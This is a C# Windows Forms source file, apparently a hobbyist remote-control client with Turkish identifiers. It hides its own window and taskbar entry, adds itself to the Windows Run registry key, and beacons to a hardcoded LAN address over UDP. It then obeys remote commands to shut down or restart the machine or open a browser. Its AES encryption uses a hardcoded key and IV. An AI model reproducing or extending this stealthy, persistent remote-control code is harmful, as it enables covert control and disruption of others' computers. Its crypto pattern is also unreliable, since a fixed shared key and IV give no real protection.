using Microsoft.Win32; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Net; using System.Net.Sockets; using System.Reflection.Emit; using System.Security.Cryptography; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using System.Xml.Linq; using System.Xml.Serialization; namespace test_client { public partial class Form1 : Form { static int port = 1604; private UdpClient udpClient; private Thread listenThread; private bool isConnected = false; private readonly byte[] anahtar = Encoding.UTF8.GetBytes("1234567890123456"); private readonly byte[] baslatmaVektoru = Encoding.UTF8.GetBytes("1234567890123456"); public Form1() { InitializeComponent(); this.FormBorderStyle = FormBorderStyle.None; this.ShowInTaskbar = false; this.Hide(); Application.DoEvents(); this.Hide(); this.Text = ""; } private void Form1_Load(object sender, EventArgs e) { this.Hide(); RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true); key.SetValue("", "\"" + Application.ExecutablePath + "\""); //key.DeleteValue("", false); baglan(); } protected override CreateParams CreateParams { get { var cp = base.CreateParams; cp.ExStyle |= 0x80; // Turn on WS_EX_TOOLWINDOW return cp; } } private void baglan() { if (!isConnected) { try { string bilgisayarAdi = Dns.GetHostName(); string kullaniciAdi = bilgisayarAdi; udpClient = new UdpClient(port); isConnected = true; listenThread = new Thread(new ThreadStart(ListenForMessages)); listenThread.IsBackground = true; listenThread.Start(); timer1.Start(); mesaj_gonder(); } catch { return; } } } private void mesaj_gonder() { if (isConnected) { try { string message = "ben_geldim"; message = Sifrele(message, anahtar, baslatmaVektoru); byte[] data = Encoding.UTF8.GetBytes(message); string ipAddress = "192.168.1.107"; IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(ipAddress), port); udpClient.Send(data, data.Length, remoteEP); } catch { return; } } else { return; } } private void ListenForMessages() { try { while (isConnected) { IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 0); byte[] data = udpClient.Receive(ref remoteEP); string message = Encoding.UTF8.GetString(data); string sifreliMetin = message; try { string sifresiCozulmusMetin = SifreCoz(sifreliMetin, anahtar, baslatmaVektoru); message = sifresiCozulmusMetin; } catch (FormatException) { // Eğer şifreli metin base64 formatında değilse, direkt olarak çözülmüş metin olarak kabul edin. message = sifreliMetin; } if (message.Contains("kapat")) { Process.Start("shutdown", "/s /t 0"); } if (message.Contains("başlat")) { Process.Start("shutdown", "/r /t 0"); } if (message.Contains("youtube")) { // Form elemanlarını güncellemek için Invoke kullanalım System.Diagnostics.Process.Start("https://www.youtube.com/"); } if (message.Contains("google")) { // Form elemanlarını güncellemek için Invoke kullanalım System.Diagnostics.Process.Start("chrome.exe"); } } } catch { } } private string Sifrele(string metin, byte[] anahtar, byte[] baslatmaVektoru) { byte[] metinBytes = Encoding.UTF8.GetBytes(metin); using (Aes aes = Aes.Create()) { aes.Key = anahtar; aes.IV = baslatmaVektoru; aes.Mode = CipherMode.CBC; ICryptoTransform sifrelemeTransformu = aes.CreateEncryptor(); byte[] sifreliMetinBytes = sifrelemeTransformu.TransformFinalBlock(metinBytes, 0, metinBytes.Length); return Convert.ToBase64String(sifreliMetinBytes); } } private string SifreCoz(string sifreliMetin, byte[] anahtar, byte[] baslatmaVektoru) { byte[] sifreliMetinBytes = Convert.FromBase64String(sifreliMetin); using (Aes aes = Aes.Create()) { aes.Key = anahtar; aes.IV = baslatmaVektoru; aes.Mode = CipherMode.CBC; ICryptoTransform cozmeTransformu = aes.CreateDecryptor(); byte[] cozulmusMetinBytes = cozmeTransformu.TransformFinalBlock(sifreliMetinBytes, 0, sifreliMetinBytes.Length); return Encoding.UTF8.GetString(cozulmusMetinBytes); } } private void timer1_Tick(object sender, EventArgs e) { this.Hide(); string message = "ben_geldim"; message = Sifrele(message, anahtar, baslatmaVektoru); byte[] data = Encoding.UTF8.GetBytes(message); // Diğer cihazın IP adresi ve port numarasını alarak gönderme işlemi yapın. string ipAddress = "192.168.1.107"; // Geçerli bir IP adresi girin IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(ipAddress), port); udpClient.Send(data, data.Length, remoteEP); } } }